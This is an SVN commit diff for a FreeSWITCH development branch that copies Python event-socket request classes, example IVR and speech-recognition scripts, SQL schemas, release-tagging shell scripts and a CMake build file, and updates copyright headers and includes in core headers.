+        """
+        processs a line from the fs response.  if the fs response has been
+        detected to be finished, then:
+
+        * create an appropriate response based on request type
+        * callback deferred with response
+        * rturn True to indicate we are finished
+
+        otherwise, if the fs response is incomplete, just buffer the data
+        """
+        if not line.strip() or len(line.strip()) == 0:
+            self._fsm.BlankLine()
+            return self.isRequestFinished()
+        
+        matchstr = re.compile("auth/request", re.I)
+        result = matchstr.search(line)
+        if (result != None):
+            self._fsm.AuthRequest()
+            return self.isRequestFinished()
+
+
+        matchstr = re.compile("command/reply", re.I)
+        result = matchstr.search(line)
+        if (result != None):
+            self._fsm.CommandReply()
+            return self.isRequestFinished()
+
+
+        matchstr = re.compile("Reply-Text", re.I)
+        result = matchstr.search(line)
+        if (result != None):
+            debug("FREEPY: got Reply-Text")
+            fields = line.split(":") # eg, ['Reply-Text','+OK Job-UUID', '882']
+            endfields = fields[1:]
+            self.response_content = "".join(endfields)
+            self._fsm.ReplyText()
+            return self.isRequestFinished()
+
+        matchstr = re.compile("Job-UUID", re.I)
+        result = matchstr.search(line)
+        if (result != None):
+            fields = line.split(":") # eg, ['Job-UUID','c9eee07e-508-..']
+            endfields = fields[1:]
+            # ignore job uuid given on this line, take the one sent
+            # in Reply-Text response line
+            # self.response_content = "".join(endfields)
+            self._fsm.JobUuid()
+            return self.isRequestFinished()
+
+        matchstr = re.compile("api/response", re.I)
+        result = matchstr.search(line)
+        if (result != None):
+            self._fsm.ApiResponse()
+            return self.isRequestFinished()
+
+        matchstr = re.compile("Content-Length", re.I)
+        result = matchstr.search(line)
+        if (result != None):
+            # line: Content-Length: 34
+            self.content_length = int(line.split(":")[1].strip())
+            self._fsm.ContentLength()
+            return self.isRequestFinished()
+
+        self._fsm.ProcessLine(line)
+        return self.isRequestFinished()
+
+    def callOrErrback(self):
+        matchstr = re.compile("OK", re.I)
+        result = matchstr.search(self.response_content)
+        if (result != None):
+            self.callbackDeferred(self.response_content)
+            return
+        self.errbackDeferred(Failure(Exception(self.response_content)))
+
+    def doNothing(self):
+        # weird smc issue workaround attempt
+        pass
+
+
+class LoginRequest(FreepyRequest):
+    """
+    Example success response
+    ========================
+        
+    lineReceived: Content-Type: auth/request
+    lineReceived:
+    lineReceived: Content-Type: command/reply
+    lineReceived: Reply-Text: +OK accepted
+    lineReceived:
+
+    Example failure response
+    ========================
+
+    lineReceived: Content-Type: auth/request
+    lineReceived:
+    lineReceived: Content-Type: command/reply
+    lineReceived: Reply-Text: -ERR invalid
+    lineReceived:
+
+    """
+    
+    def __init__(self):
+        super(LoginRequest, self).__init__()
+        import loginrequest_sm
+        self._fsm = loginrequest_sm.LoginRequest_sm(self)
+
+    def callOrErrback(self):
+        matchstr = re.compile("OK", re.I)
+        result = matchstr.search(self.response_content)
+        if (result != None):
+            self.callbackDeferred(self.response_content)
+            return
+        msg = "Login failed, most likely a bad password"
+        self.errbackDeferred(Failure(Exception(msg)))
+        
+    def getReplyText(self):
+        self.response_content
+
+
+class BgApiRequest(FreepyRequest):
+
+    """
+    Here is one of the 'bgapi requests' this class
+    supports:
+
+
+    linereceived: Content-Type: command/reply
+    linereceived: Reply-Text: +OK Job-UUID: 788da080-24e0-11dc-85f6-3d7b12..
+    linereceived: 
+
+    """
+    def __init__(self):
+        super(BgApiRequest, self).__init__()
+        import bgapirequest_sm
+        self._fsm = bgapirequest_sm.BgApiRequest_sm(self)
+
+
+    def getResponse(self):
+
+        # subclasses may want to parse this into a meaningful
+        # object or set of objects (eg, see ListConfRequest)
+        # By default, just return accumulated string
+        return self.response_content
+
+
+
+class ApiRequest(FreepyRequest):
+
+    """
+    Here is one of the 'api requests' this class
+    supports:
+
+    lineReceived: Content-Type: api/response
+    lineReceived: Content-Length: 34
+    lineReceived:
+    lineReceived: Call Requested: result: [SUCCESS]
+    """
+    
+    def __init__(self):
+        super(ApiRequest, self).__init__()
+        import apirequest_sm
+        self._fsm = apirequest_sm.ApiRequest_sm(self)
+        self.response_content = ""
+
+
+    def doNothing(self):
+        # weird smc issue workaround attempt
+        pass
+
+    def add_content(self, line):
+        """
+        Add content to local buffer
+        return - True if finished adding content, False otherwise
+        """
+
+        # since the twisted LineReceiver strips off the newline,
+        # we need to add it back .. otherwise the Content-length
+        # will be off by one
+        line += "\n"
+        
+        self.response_content += line
+        if len(self.response_content) == self.content_length:
+            return True
+        elif len(self.response_content) > self.content_length:
+            return True
+        else:
+            return False
+
+
+    def getResponse(self):
+
+        # subclasses may want to parse this into a meaningful
+        # object or set of objects (eg, see ListConfRequest)
+        # By default, just return accumulated string
+        return self.response_content
+
+        
+class DialoutRequest(ApiRequest):
+    """
+    Example raw dialout response
+    ============================
+
+    lineReceived: Content-Type: api/response
+    lineReceived: Content-Length: 34
+    lineReceived:
+    lineReceived: Call Requested: result: [SUCCESS]
+    """
+
+    def __init__(self):
+        super(DialoutRequest, self).__init__()
+
+
+class BgDialoutRequest(BgApiRequest):
+    def __init__(self):
+        super(BgDialoutRequest, self).__init__()
+        
+
+class ConfKickRequest(ApiRequest):
+    """
+    Example response
+    ================
+
+
+    """
+
+    def __init__(self):
+        super(ConfKickRequest, self).__init__()
+
+class BgConfKickRequest(BgApiRequest):
+    """
+    Example response
+    ================
+
+
+    """
+
+    def __init__(self):
+        super(BgConfKickRequest, self).__init__()
+        
+
+class ListConfRequest(ApiRequest):
+    """
+    Response to request to list conferences:
+    ========================================
+    
+    lineReceived: Content-Type: api/response
+    lineReceived: Content-Length: 233
+    lineReceived:
+    lineReceived: 2;sofia/mydomain.com/foo@bar.com;e9be6e72-2410-11dc-8daf-7bcec6dda2ae;FreeSWITCH;0000000000;hear|speak;0;0;300
+    lineReceived: 1;sofia/mydomain.com/foo2@bar.com;e9be5fcc-2410-11dc-8daf-7bcec6dda2ae;FreeSWITCH;0000000000;hear|speak;0;0;300
+
+    """
+
+    def __init__(self):
+        super(ListConfRequest, self).__init__()
+        self.conf_members = []
+        
+    def add_content(self, line):
+        """
+        conf not empty example
+        ======================
+        1;sofia/mydomain.com/888@conference.freeswitch.org;898e6552-24ab-11dc-9df7-9fccd4095451;FreeSWITCH;0000000000;hear|speak;0;0;300
+
+        conf empty example
+        ==================
+        Conference foo not found
+        """
+
+        matchstr = re.compile("not found", re.I)
+        result = matchstr.search(line)
+        if (result != None):
+            # no conf found..
+            pass
+        else:
+            confmember = models.ConfMember(line)
+            self.conf_members.append(confmember)
+        
+        return super(ListConfRequest, self).add_content(line)
+        
+    def getResponse(self):
+
+        # TODO: parse this content into a meaningful
+        # 'object' .. though, not sure this is really
+        # necessary.   wait till there's a need
+        return self.conf_members
+        

Deleted: freeswitch/branches/seven/scripts/python/mytest.py

Copied: freeswitch/branches/seven/scripts/python/mytest.py (from rev 14471, freeswitch/trunk/scripts/python/mytest.py) (0 => 14472)


--- freeswitch/branches/seven/scripts/python/mytest.py	                        (rev 0)
+++ freeswitch/branches/seven/scripts/python/mytest.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,39 @@
+# Please see latest version of this script at
+# http://wiki.freeswitch.org/wiki/Mod_python
+# before reporting errors
+
+import sys, time
+from freeswitch import *
+
+def onDTMF(input, itype, funcargs):
+    console_log("1","\n\nonDTMF input: %s\n" % input)
+    if input == "5":
+      return "pause"
+    if input == "3":
+      return "seek:+60000"  
+    if input == "1":
+      return "seek:-60000"  
+    if input == "0":
+      return "stop"
+    return None # will make the streamfile audio stop
+
+def handler(uuid):
+
+    console_log("1","... test from my python program\n")
+    session = PySession(uuid)
+    session.answer()
+    session.setDTMFCallback(onDTMF, "")
+    session.set_tts_parms("cepstral", "david")
+    session.playFile("/path/to/your.mp3", "")
+    session.speak("Please enter telephone number with area code and press pound sign. ")
+    input = session.getDigits("", 11, "*#", "#", 10000)
+    console_log("1","result from get digits is %s\n" % input)
+    phone_number = session.playAndGetDigits(5, 11, 3, 10000, "*#",
+                                            "/sounds/test.gsm",
+                                            "/sounds/invalid.gsm",
+                                            "",
+                                            "^17771112222$");
+    console_log("1","result from play_and_get_digits is %s\n" % phone_number)
+    session.transfer("1000", "XML", "default")
+    session.hangup("1")
+

Deleted: freeswitch/branches/seven/scripts/python/recipewizard.py

Copied: freeswitch/branches/seven/scripts/python/recipewizard.py (from rev 14471, freeswitch/trunk/scripts/python/recipewizard.py) (0 => 14472)


--- freeswitch/branches/seven/scripts/python/recipewizard.py	                        (rev 0)
+++ freeswitch/branches/seven/scripts/python/recipewizard.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,87 @@
+from freeswitch import *
+from py_modules.speechtools import Grammar, SpeechDetect
+from py_modules.speechtools import SpeechObtainer
+
+import time, os
+
+VOICE_ENGINE = "cepstral"
+VOICE = "William"
+GRAMMAR_ROOT = "/usr/src/freeswitch_trunk/scripts"
+
+"""
+Example speech recognition application in python.  
+
+How to make this work:
+
+* Get mod_openmrcp working along with an MRCP asr server
+* Add /usr/src/freeswitch/scripts or equivalent to your PYTHONPATH
+* Restart freeswitch
+* Create $GRAMMAR_ROOT/mainmenu.xml from contents in mainmenu() comments
+
+"""
+
+class RecipeWizard:
+
+    def __init__(self, session):
+        self.session=session
+        self.session.set_tts_parms(VOICE_ENGINE, VOICE)        
+        self.main()
+
+    def main(self):
+
+        console_log("debug", "recipe wizard main()\n")        
+        self.speechdetect = SpeechDetect(self.session, "openmrcp", "127.0.0.1");
+        self.speechobtainer = SpeechObtainer(speech_detect=self.speechdetect,
+                                             required_phrases=1,
+                                             wait_time=5000,
+                                             max_tries=3)
+        gfile = os.path.join(GRAMMAR_ROOT, "mainmenu.xml")
+        self.grammar = Grammar("mainmenu", gfile,"input",80,90)
+        self.speechobtainer.setGrammar(self.grammar);
+        console_log("debug", "calling speechobtainer.run()\n")
+        self.speechobtainer.detectSpeech()
+        self.session.speak("Hello. Welcome to the recipe wizard. Drinks or food?")
+        result = self.speechobtainer.run()
+        console_log("debug", "speechobtainer.run() result: %s\n" % result)
+        if result:
+            self.session.speak("Received result.  Result is: %s" % result[0])
+        else:
+            self.session.speak("Sorry, I did not hear you")
+            
+        console_log("debug", "speechobtainer.run() finished\n")        
+
+def mainmenu():
+    """
+    <!DOCTYPE grammar PUBLIC "-//W3C//DTD GRAMMAR 1.0//EN"
+             "http://www.w3.org/TR/speech-grammar/grammar.dtd">
+
+    <grammar xmlns="http://www.w3.org/2001/06/grammar" xml:lang="en"
+      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+      xsi:schemaLocation="http://www.w3.org/2001/06/grammar
+                      http://www.w3.org/TR/speech-grammar/grammar.xsd"
+      version="1.0" mode="voice" root="root">
+
+
+    <rule id="root" scope="public">
+
+        <rule id="main">
+          <one-of>
+         <item weight="10">drinks</item>
+         <item weight="2">food</item>
+          </one-of>
+        </rule>
+
+    </rule>
+
+    </grammar>
+
+    """
+    pass
+
+def handler(uuid):
+    session = PySession(uuid)
+    session.answer()
+    rw = RecipeWizard(session)
+    session.hangup("1")
+
+

Deleted: freeswitch/branches/seven/scripts/quick_lm.pl

Deleted: freeswitch/branches/seven/scripts/recipewizard.py

Deleted: freeswitch/branches/seven/scripts/sendmail

Deleted: freeswitch/branches/seven/scripts/sipsetup

Copied: freeswitch/branches/seven/scripts/sql (from rev 14471, freeswitch/trunk/scripts/sql)

Deleted: freeswitch/branches/seven/scripts/sql/cdr.sql

Copied: freeswitch/branches/seven/scripts/sql/cdr.sql (from rev 14471, freeswitch/trunk/scripts/sql/cdr.sql) (0 => 14472)


--- freeswitch/branches/seven/scripts/sql/cdr.sql	                        (rev 0)
+++ freeswitch/branches/seven/scripts/sql/cdr.sql	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,18 @@
+CREATE TABLE `cdr` ( 
+`caller_id_name` varchar(80) NOT NULL default '', 
+`caller_id_number` varchar(80) NOT NULL default '', 
+`destination_number` varchar(80) NOT NULL default '', 
+`context` varchar(80) NOT NULL default '', 
+`start_timestamp` datetime NOT NULL default '0000-00-00 00:00:00',  
+`answer_timestamp` datetime NOT NULL default '0000-00-00 00:00:00', 
+`end_timestamp` datetime NOT NULL default '0000-00-00 00:00:00', 
+`duration` int(11) NOT NULL default '0', 
+`billsec` int(11) NOT NULL default '0', 
+`hangup_cause` varchar(45) NOT NULL default '',  
+`uuid` varchar(36) NOT NULL default '',
+`bleg_uuid` varchar(36) NOT NULL default '',
+`accountcode` varchar(20) NOT NULL default ''
+); 
+
+
+

Deleted: freeswitch/branches/seven/scripts/sql/easyroute_mysql.sql

Copied: freeswitch/branches/seven/scripts/sql/easyroute_mysql.sql (from rev 14471, freeswitch/trunk/scripts/sql/easyroute_mysql.sql) (0 => 14472)


--- freeswitch/branches/seven/scripts/sql/easyroute_mysql.sql	                        (rev 0)
+++ freeswitch/branches/seven/scripts/sql/easyroute_mysql.sql	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,78 @@
+-- MySQL dump 10.10
+--
+-- Host: localhost    Database: easyroute
+-- ------------------------------------------------------
+-- Server version	5.0.26-log
+
+/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
+/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
+/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
+/*!40101 SET NAMES utf8 */;
+/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
+/*!40103 SET TIME_ZONE='+00:00' */;
+/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
+/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
+/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
+/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
+
+--
+-- Table structure for table `gateways`
+--
+
+DROP TABLE IF EXISTS `gateways`;
+CREATE TABLE `gateways` (
+  `gateway_id` int(10) unsigned NOT NULL auto_increment,
+  `gateway_ip` varchar(16) NOT NULL,
+  `group` varchar(15) NOT NULL,
+  `limit` int(10) unsigned NOT NULL,
+  `techprofile` varchar(128) NOT NULL,
+  PRIMARY KEY  (`gateway_id`),
+  KEY `gateway_ip` (`gateway_ip`,`group`)
+) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COMMENT='Gateways Table';
+
+--
+-- Dumping data for table `gateways`
+--
+
+LOCK TABLES `gateways` WRITE;
+/*!40000 ALTER TABLE `gateways` DISABLE KEYS */;
+INSERT INTO `gateways` VALUES (1,'192.168.99.1','mustang',50,'sofia/default');
+/*!40000 ALTER TABLE `gateways` ENABLE KEYS */;
+UNLOCK TABLES;
+
+--
+-- Table structure for table `numbers`
+--
+
+DROP TABLE IF EXISTS `numbers`;
+CREATE TABLE `numbers` (
+  `number_id` int(10) unsigned NOT NULL auto_increment,
+  `gateway_id` int(10) unsigned NOT NULL,
+  `number` varchar(16) NOT NULL,
+  `acctcode` varchar(16) NOT NULL,
+  `translated` varchar(16) NOT NULL,
+  PRIMARY KEY  (`number_id`),
+  UNIQUE KEY `number` (`number`),
+  KEY `gateway_id` (`gateway_id`)
+) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Numbers Table';
+
+--
+-- Dumping data for table `numbers`
+--
+
+LOCK TABLES `numbers` WRITE;
+/*!40000 ALTER TABLE `numbers` DISABLE KEYS */;
+INSERT INTO `numbers` VALUES (1,1,'19018577141','999999', '9018577141'),(2,1,'19995551212','666666', '9995551212');
+/*!40000 ALTER TABLE `numbers` ENABLE KEYS */;
+UNLOCK TABLES;
+/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
+
+/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
+/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
+/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
+/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
+/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
+/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
+/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
+
+-- Dump completed on 2008-02-28 21:41:43

Copied: freeswitch/branches/seven/scripts/tagscript-test.sh (from rev 14471, freeswitch/trunk/scripts/tagscript-test.sh) (0 => 14472)


--- freeswitch/branches/seven/scripts/tagscript-test.sh	                        (rev 0)
+++ freeswitch/branches/seven/scripts/tagscript-test.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,18 @@
+NEW_MICRO=4pre3
+rm -rf freeswitch-1.0.$NEW_MICRO
+svn co http://svn.freeswitch.org/svn/freeswitch/trunk freeswitch-1.0.$NEW_MICRO
+cd freeswitch-1.0.$NEW_MICRO
+SWITCH_VERSION_MAJOR=`grep SWITCH_VERSION_MAJOR configure.in | sed "s|.*\[||" | sed "s|\].*||"`
+SWITCH_VERSION_MINOR=`grep SWITCH_VERSION_MINOR configure.in | sed "s|.*\[||" | sed "s|\].*||"`
+SWITCH_VERSION_MICRO=`grep SWITCH_VERSION_MICRO configure.in | sed "s|.*\[||" | sed "s|\].*||"`
+FREESWITCH_VERSION=$((`svnversion .` + 1))
+cat configure.in | sed "s|$SWITCH_VERSION_MICRO|$NEW_MICRO|" | sed "s|svn-revision-here|$FREESWITCH_VERSION|" | sed "s|#AC_SUBST(SWITCH_VERSION_REVISION|AC_SUBST(SWITCH_VERSION_REVISION|" > configure.tmp
+cp -f configure.tmp configure.in
+rm -f configure.tmp
+./bootstrap.sh
+rm -f docs/AUTHORS
+rm -f docs/COPYING
+rm -f docs/ChangeLog
+cd ..
+tar -czvf freeswitch-$SWITCH_VERSION_MAJOR.$SWITCH_VERSION_MINOR.$NEW_MICRO.tar.gz freeswitch-$SWITCH_VERSION_MAJOR.$SWITCH_VERSION_MINOR.$NEW_MICRO/
+tar -cjvf freeswitch-$SWITCH_VERSION_MAJOR.$SWITCH_VERSION_MINOR.$NEW_MICRO.tar.bz2 freeswitch-$SWITCH_VERSION_MAJOR.$SWITCH_VERSION_MINOR.$NEW_MICRO/

Copied: freeswitch/branches/seven/scripts/tagscript.sh (from rev 14471, freeswitch/trunk/scripts/tagscript.sh) (0 => 14472)


--- freeswitch/branches/seven/scripts/tagscript.sh	                        (rev 0)
+++ freeswitch/branches/seven/scripts/tagscript.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,34 @@
+NEW_MICRO=4
+rm -rf freeswitch.tag.working
+svn co http://svn.freeswitch.org/svn/freeswitch/trunk freeswitch.tag.working
+cd freeswitch.tag.working
+SWITCH_VERSION_MAJOR=`grep SWITCH_VERSION_MAJOR configure.in | sed "s|.*\[||" | sed "s|\].*||"`
+SWITCH_VERSION_MINOR=`grep SWITCH_VERSION_MINOR configure.in | sed "s|.*\[||" | sed "s|\].*||"`
+SWITCH_VERSION_MICRO=`grep SWITCH_VERSION_MICRO configure.in | sed "s|.*\[||" | sed "s|\].*||"`
+FREESWITCH_VERSION=$((`svnversion .` + 1))
+cat configure.in | sed "s|$SWITCH_VERSION_MICRO|$NEW_MICRO|" | sed "s|svn-revision-here|$FREESWITCH_VERSION|" | sed "s|#AC_SUBST(SWITCH_VERSION_REVISION|AC_SUBST(SWITCH_VERSION_REVISION|" > configure.tmp
+cp -f configure.tmp configure.in
+rm -f configure.tmp
+cd libs/openzap/
+OPENZAP_VERSION=$((`svnversion .` + 1))
+svn copy . http://svn.openzap.org:81/svn/openzap/tags/v$OPENZAP_VERSION -m"tag"
+cd ../..
+echo 'cat $1 | sed "s|openzap/trunk|openzap/tags/v'$OPENZAP_VERSION'|" > svn-temp-working' > externaleditor.sh
+echo 'cp -f svn-temp-working $1' >> externaleditor.sh
+echo 'rm -f svn-temp-working' >> externaleditor.sh
+chmod a+x externaleditor.sh
+svn propedit svn:externals . --editor-cmd=./externaleditor.sh
+svn copy . http://svn.freeswitch.org/svn/freeswitch/tags/$SWITCH_VERSION_MAJOR.$SWITCH_VERSION_MINOR.$NEW_MICRO -m"tag"
+cd ..
+rm -rf freeswitch.tag.working
+svn co http://svn.freeswitch.org/svn/freeswitch/tags/$SWITCH_VERSION_MAJOR.$SWITCH_VERSION_MINOR.$NEW_MICRO freeswitch-$SWITCH_VERSION_MAJOR.$SWITCH_VERSION_MINOR.$NEW_MICRO
+cd freeswitch-$SWITCH_VERSION_MAJOR.$SWITCH_VERSION_MINOR.$NEW_MICRO
+./bootstrap.sh
+rm -rf `find . -name .svn`
+mv bootstrap.sh rebootstrap.sh
+rm -f docs/AUTHORS
+rm -f docs/COPYING
+rm -f docs/ChangeLog
+cd ..
+tar -czvf freeswitch-$SWITCH_VERSION_MAJOR.$SWITCH_VERSION_MINOR.$NEW_MICRO.tar.gz freeswitch-$SWITCH_VERSION_MAJOR.$SWITCH_VERSION_MINOR.$NEW_MICRO/
+tar -cjvf freeswitch-$SWITCH_VERSION_MAJOR.$SWITCH_VERSION_MINOR.$NEW_MICRO.tar.bz2 freeswitch-$SWITCH_VERSION_MAJOR.$SWITCH_VERSION_MINOR.$NEW_MICRO/

Copied: freeswitch/branches/seven/scripts/yes_no.gram (from rev 14471, freeswitch/trunk/scripts/yes_no.gram) (0 => 14472)


--- freeswitch/branches/seven/scripts/yes_no.gram	                        (rev 0)
+++ freeswitch/branches/seven/scripts/yes_no.gram	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+#JSGF V1.0;
+
+/**
+  * JSGF Grammar for example
+  */
+
+grammar example;
+
+<yes> = [ yes ];
+<no> = [ no ];
+
+public <results> = [ <yes> | <no> ];
+
+

Copied: freeswitch/branches/seven/src/CMakeLists.txt (from rev 14471, freeswitch/trunk/src/CMakeLists.txt) (0 => 14472)


--- freeswitch/branches/seven/src/CMakeLists.txt	                        (rev 0)
+++ freeswitch/branches/seven/src/CMakeLists.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,106 @@
+#FREESWITCH CMAKE file
+#Shane Burrell 2009 (supjigator)
+
+
+cmake_minimum_required(VERSION 2.6)
+
+INCLUDE_DIRECTORIES(include/ ../libs/libresample/include/ ../libs/srtp/crypto/include/ ../libs/srtp/include/ ../libs/speex/include/) 
+
+
+
+SET ( freeswitch_la_SRCS 
+
+switch_apr.c 
+switch_buffer.c 
+switch_caller.c 
+switch_channel.c 
+switch_console.c 
+switch_core_media_bug.c 
+switch_core_timer.c 
+switch_core_asr.c 
+switch_core_event_hook.c 
+switch_core_speech.c 
+switch_core_memory.c 
+switch_core_codec.c 
+switch_core_file.c 
+switch_core_hash.c 
+switch_core_sqldb.c 
+switch_core_session.c 
+switch_core_directory.c 
+switch_core_state_machine.c 
+switch_core_io.c 
+switch_core_rwlock.c 
+switch_core_port_allocator.c 
+switch_core.c 
+switch_scheduler.c 
+switch_core_db.c
+switch_dso.c
+switch_loadable_module.c 
+switch_utils.c 
+switch_event.c 
+switch_resample.c 
+switch_regex.c
+switch_rtp.c
+switch_ivr_bridge.c 
+switch_ivr_originate.c 
+switch_ivr_async.c 
+switch_ivr_play_say.c 
+switch_ivr_menu.c 
+switch_ivr.c 
+switch_stun.c
+switch_log.c
+switch_xml.c
+switch_config.c
+switch_time.c
+../libs/stfu/stfu.c
+switch_cpp.cpp
+g711.c
+switch_pcm.c
+../libs/libteletone/src/libteletone_detect.c
+../libs/libteletone/src/libteletone_generate.c
+
+include/switch_am_config.h
+include/switch.h
+include/switch_apr.h
+include/switch_buffer.h
+include/switch_caller.h
+include/switch_channel.h
+include/switch_console.h
+include/switch_core_event_hook.h
+include/switch_scheduler.h
+include/switch_core.h
+include/switch_core_db.h
+include/switch_config.h
+include/switch_event.h
+include/switch_frame.h
+include/switch_ivr.h
+include/switch_dso.h
+include/switch_loadable_module.h
+include/switch_module_interfaces.h
+include/switch_platform.h
+include/switch_resample.h
+include/switch_regex.h
+include/switch_types.h
+include/switch_utils.h
+include/switch_rtp.h
+include/switch_stun.h
+include/switch_log.h
+include/switch_xml.h
+include/switch_cpp.h
+../libs/libteletone/src/libteletone_detect.h
+../libs/libteletone/src/libteletone_generate.h
+../libs/libteletone/src/libteletone.h
+include/switch_odbc.h
+
+
+
+)
+
+
+ADD_LIBRARY(freeswitch_la ${freeswitch_la_SRCS})
+
+
+
+
+
+

Modified: freeswitch/branches/seven/src/include/private/switch_core_pvt.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/private/switch_core_pvt.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/private/switch_core_pvt.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  *
  * switch_core.h -- Core Library Private Data (not to be installed into the system)
@@ -127,7 +127,7 @@
 	void *streams[SWITCH_MAX_STREAMS];
 	int stream_count;
 
-	char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
+	char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
 	void *private_info;
 	switch_queue_t *event_queue;
 	switch_queue_t *message_queue;
@@ -190,7 +190,9 @@
 	uint32_t flags;
 	switch_time_t timestamp;
 	switch_mutex_t *throttle_mutex;
+	switch_mutex_t *session_hash_mutex;
 	switch_mutex_t *global_mutex;
+	switch_mutex_t *global_var_mutex;
 	uint32_t sps_total;
 	int32_t sps;
 	int32_t sps_last;

Modified: freeswitch/branches/seven/src/include/switch.h (14471 => 14472)


--- freeswitch/branches/seven/src/include/switch.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/include/switch.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  *
  * switch.h -- Main Library Header
  *
@@ -59,10 +59,20 @@
 #define _XOPEN_SOURCE 600
 #endif
 #endif
+#ifdef __linux__
+#ifndef _BSD_SOURCE
+#define _BSD_SOURCE
+#endif
+#endif
 #ifndef __BSD_VISIBLE
 #define __BSD_VISIBLE 1
 #endif
+#ifdef __linux__
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
 #endif
+#endif
+#endif
 #include <stdlib.h>
 #include <stdio.h>
 #include <stdarg.h>
@@ -71,6 +81,7 @@
 #include <setjmp.h>
 #include <ctype.h>
 #include <fcntl.h>
+#include <string.h>
 #ifdef _MSC_VER
 #include <Winsock2.h>
 #if _MSC_VER < 1500
@@ -85,7 +96,6 @@
 #else
 #include <strings.h>
 #endif
-#include <string.h>
 #include <sys/stat.h>
 #include <limits.h>
 #include <sys/types.h>
@@ -115,9 +125,13 @@
 #include "switch_rtp.h"
 #include "switch_log.h"
 #include "switch_xml.h"
+#include "switch_xml_config.h"
 #include "switch_core_event_hook.h"
 #include "switch_scheduler.h"
 #include "switch_config.h"
+#include "switch_nat.h"
+#include "switch_odbc.h"
+
 #include <libteletone.h>
 
 /** \mainpage FreeSWITCH
@@ -129,7 +143,7 @@
  * Freeswitch has been built on the following platforms:
  *
  *  - Linux (x86 & x86_64)
- *  - Windows (MSVC 2005)
+ *  - Windows (MSVC 2008 & VC++ EE 2008)
  *  - Mac OS X (intel & ppc )
  *  - FreeBSD 6
  *
@@ -140,21 +154,36 @@
  *		- APR (http://apr.apache.org)
  *		- APR-Util (http://apr.apache.org)
  *		- SQLite (http://www.sqlite.org)
- *		- libresample (http://ccrma-www.stanford.edu/~jos/resample/Free_Resampling_Software.html)
  *		- Pcre (http://www.pcre.org/)
  *		- SRTP (http://srtp.sourceforge.net/srtp.html)
  *
- *	Additionally, the experimental external modules make use of several external modules:
+ *	Additionally, the various external modules make use of several external modules:
  *
  *
  *  ASR/TTS
  *	mod_cepstral
  *		- Cepstral (commercial) (http://www.cepstral.com/)
  *
+ *	mod_flite
+ *		- Flite (http://www.speech.cs.cmu.edu/flite/)
+ *
+ *	mod_pocketsphinx
+ *		- PocketSphinx (http://www.speech.cs.cmu.edu/pocketsphinx/)
+ *
  *  Codecs
  *	mod_speex
  *		- libspeex (http://www.speex.org/)
  *
+ *	mod_celt
